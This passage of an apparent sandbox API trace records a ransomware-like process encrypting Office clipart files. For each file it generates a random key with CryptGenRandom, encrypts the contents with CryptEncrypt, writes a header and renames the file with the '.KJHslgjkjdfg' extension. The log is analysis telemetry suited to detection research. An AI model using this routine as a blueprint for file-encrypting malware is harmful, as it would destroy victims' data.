files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.366] GetProcessHeap () returned 0x2a0000 [0173.366] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.366] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.366] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.366] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.368] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.368] GetProcessHeap () returned 0x2a0000 [0173.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.368] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.368] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.368] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.368] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.369] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.369] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.369] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.369] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.369] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.369] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.369] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x126c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x126c, lpOverlapped=0x0) returned 1 [0173.370] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270, dwBufLen=0x1270 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270) returned 1 [0173.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.370] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1270, lpOverlapped=0x0) returned 1 [0173.370] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.370] SetEndOfFile (hFile=0x114) returned 1 [0173.373] GetProcessHeap () returned 0x2a0000 [0173.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.373] GetProcessHeap () returned 0x2a0000 [0173.373] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.kjhslgjkjdfg")) returned 1 [0173.376] CloseHandle (hObject=0x114) returned 1 [0173.376] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0173.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.380] GetProcessHeap () returned 0x2a0000 [0173.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.381] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.381] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0173.383] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.383] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.383] GetProcessHeap () returned 0x2a0000 [0173.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.383] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.383] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.383] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.384] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.384] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.384] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.384] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.384] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4146, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4146, lpOverlapped=0x0) returned 1 [0173.385] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4150, dwBufLen=0x4150 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4150) returned 1 [0173.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.386] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4150, lpOverlapped=0x0) returned 1 [0173.386] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.386] SetEndOfFile (hFile=0x114) returned 1 [0173.388] GetProcessHeap () returned 0x2a0000 [0173.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.389] GetProcessHeap () returned 0x2a0000 [0173.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.kjhslgjkjdfg")) returned 1 [0173.390] CloseHandle (hObject=0x114) returned 1 [0173.390] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0173.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.392] GetProcessHeap () returned 0x2a0000 [0173.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.392] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.392] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0173.394] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.394] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.394] GetProcessHeap () returned 0x2a0000 [0173.394] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.394] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.394] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.394] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.395] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.395] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.395] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.395] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.395] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9d27, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9d27, lpOverlapped=0x0) returned 1 [0173.396] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9d30, dwBufLen=0x9d30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9d30) returned 1 [0173.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.397] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9d30, lpOverlapped=0x0) returned 1 [0173.398] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.398] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.398] SetEndOfFile (hFile=0x114) returned 1 [0173.400] GetProcessHeap () returned 0x2a0000 [0173.400] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.400] GetProcessHeap () returned 0x2a0000 [0173.400] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.kjhslgjkjdfg")) returned 1 [0173.402] CloseHandle (hObject=0x114) returned 1 [0173.402] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0173.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.403] GetProcessHeap () returned 0x2a0000 [0173.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.403] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0173.405] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.405] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.405] GetProcessHeap () returned 0x2a0000 [0173.405] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.405] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.405] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.406] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.406] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.406] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.406] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.406] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.406] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.406] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.406] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.406] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8379, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8379, lpOverlapped=0x0) returned 1 [0173.408] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8380, dwBufLen=0x8380 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8380) returned 1 [0173.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.408] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8380, lpOverlapped=0x0) returned 1 [0173.408] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.409] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.409] SetEndOfFile (hFile=0x114) returned 1 [0173.411] GetProcessHeap () returned 0x2a0000 [0173.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.411] GetProcessHeap () returned 0x2a0000 [0173.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.kjhslgjkjdfg")) returned 1 [0173.413] CloseHandle (hObject=0x114) returned 1 [0173.413] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0173.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.414] GetProcessHeap () returned 0x2a0000 [0173.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.415] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.415] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0173.417] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.417] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.417] GetProcessHeap () returned 0x2a0000 [0173.417] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.417] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: 